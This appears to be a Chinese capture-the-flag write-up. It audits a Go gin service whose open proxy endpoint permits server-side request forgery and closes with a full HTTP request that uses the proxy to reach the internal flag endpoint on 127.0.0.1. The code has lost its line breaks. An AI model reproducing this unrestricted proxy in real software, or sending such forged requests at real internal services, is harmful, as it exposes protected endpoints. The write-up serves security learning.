代码审计
首先分析go语言代码
go">package mainimport ("bytes""io""net/http""os/exec""github.com/gin-gonic/gin"
)type ProxyRequest struct {URL string `json:"url" binding:"required"`Method string `json:"method" binding:"required"`Body string `json:"body"`Headers map[string]string `json:"headers"`FollowRedirects bool `json:"follow_redirects"`
}func main() {r := gin.Default()v1 := r.Group("/v1"){v1.POST("/api/flag", func(c *gin.Context) {cmd := exec.Command("/readflag")flag, err := cmd.CombinedOutput()if err != nil {c.JSON(http.StatusInternalServerError, gin.H{"status": "error", "message": "Internal Server Error"})return}c.JSON(http.StatusOK, gin.H{"flag": flag})})}v2 := r.Group("/v2"){v2.POST("/api/proxy", func(c *gin.Context) {var proxyRequest ProxyRequestif err := c.ShouldBindJSON(&proxyRequest); err != nil {c.JSON(http.StatusBadRequest, gin.H{"status": "error", "message": "Invalid request"})return}client := &http.Client{CheckRedirect: func(req *http.Request, via []*http.Request) error {if !req.URL.IsAbs() {return http.ErrUseLastResponse}if !proxyRequest.FollowRedirects {return http.ErrUseLastResponse}return nil},}req, err := http.NewRequest(proxyRequest.Method, proxyRequest.URL, bytes.NewReader([]byte(proxyRequest.Body)))if err != nil {c.JSON(http.StatusInternalServerError, gin.H{"status": "error", "message": "Internal Server Error"})return}for key, value := range proxyRequest.Headers {req.Header.Set(key, value)}resp, err := client.Do(req)if err != nil {c.JSON(http.StatusInternalServerError, gin.H{"status": "error", "message": "Internal Server Error"})return}defer resp.Body.Close()body, err := io.ReadAll(resp.Body)if err != nil {c.JSON(http.StatusInternalServerError, gin.H{"status": "error", "message": "Internal Server Error"})return}c.Status(resp.StatusCode)for key, value := range resp.Header {c.Header(key, value[0])}c.Writer.Write(body)c.Abort()})}r.Run("127.0.0.1:8769")
}
分析代码,这个代码使用的是gin框架,
核心代码
这个题目的和核心代码就是下面这些。
go">type ProxyRequest struct {URL string `json:"url" binding:"required"`Method string `json:"method" binding:"required"`Body string `json:"body"`Headers map[string]string `json:"headers"`FollowRedirects bool `json:"follow_redirects"`
}
首先是定义了一段结构体,这段结构体定义了代理请求的格式,也就是说我们需要传入参数的格式与内容。
然后就是API路由
go"> v1 := r.Group("/v1"){v1.POST("/api/flag", func(c *gin.Context) {cmd := exec.Command("/readflag")flag, err := cmd.CombinedOutput()if err != nil {c.JSON(http.StatusInternalServerError, gin.H{"status": "error", "message": "Internal Server Error"})return}c.JSON(http.StatusOK, gin.H{"flag": flag})})}
创建一个/v1路由组,并添加POST请求的api/flag路由
这个路由的作用就是执行readflag命令,得到flag
然后就是v2路由
go"> v2 := r.Group("/v2"){v2.POST("/api/proxy", func(c *gin.Context) {var proxyRequest ProxyRequestif err := c.ShouldBindJSON(&proxyRequest); err != nil {c.JSON(http.StatusBadRequest, gin.H{"status": "error", "message": "Invalid request"})return}
创建v2路由组,并添加一个POST的请求/api/proxy路由
这个路由接收我们刚才定义的结构体中的数据
go"> client := &http.Client{CheckRedirect: func(req *http.Request, via []*http.Request) error {if !req.URL.IsAbs() {return http.ErrUseLastResponse}if !proxyRequest.FollowRedirects {return http.ErrUseLastResponse}return nil},}
这段代码就是创建一个自定义的http客户端,并设置重定向规则,如果请求不是绝对url,就阻止重定向。
go"> req, err := http.NewRequest(proxyRequest.Method, proxyRequest.URL, bytes.NewReader([]byte(proxyRequest.Body)))if err != nil {c.JSON(http.StatusInternalServerError, gin.H{"status": "error", "message": "Internal Server Error"})return}for key, value := range proxyRequest.Headers {req.Header.Set(key, value)}resp, err := client.Do(req)
根据ProxyRequest中的参数创建一个新的HTTP请求
并将请求头设置为来自请求的头信息
发送请求并获取响应
go"> if err != nil {c.JSON(http.StatusInternalServerError, gin.H{"status": "error", "message": "Internal Server Error"})return}defer resp.Body.Close()body, err := io.ReadAll(resp.Body)if err != nil {c.JSON(http.StatusInternalServerError, gin.H{"status": "error", "message": "Internal Server Error"})return}c.Status(resp.StatusCode)for key, value := range resp.Header {c.Header(key, value[0])}c.Writer.Write(body)c.Abort()})}
这段代码主要作用就是处理响应的错误,以及读取响应体内容和返回状态码与头信息。
构造payload
然后就可以根据代码来构造请求了
POST /v2/api/proxy HTTP/1.1
Host: 8.147.129.74:26637
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:132.0) Gecko/20100101 Firefox/132.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Priority: u=0, i
Content-Type: application/x-www-form-urlencoded
Content-Length: 170{"url": "http://127.0.0.1:8769/v1/api/flag","method": "POST","body": "null","headers": {"Authorization": "null"},"follow_redirects": true
}
发包,得到flag。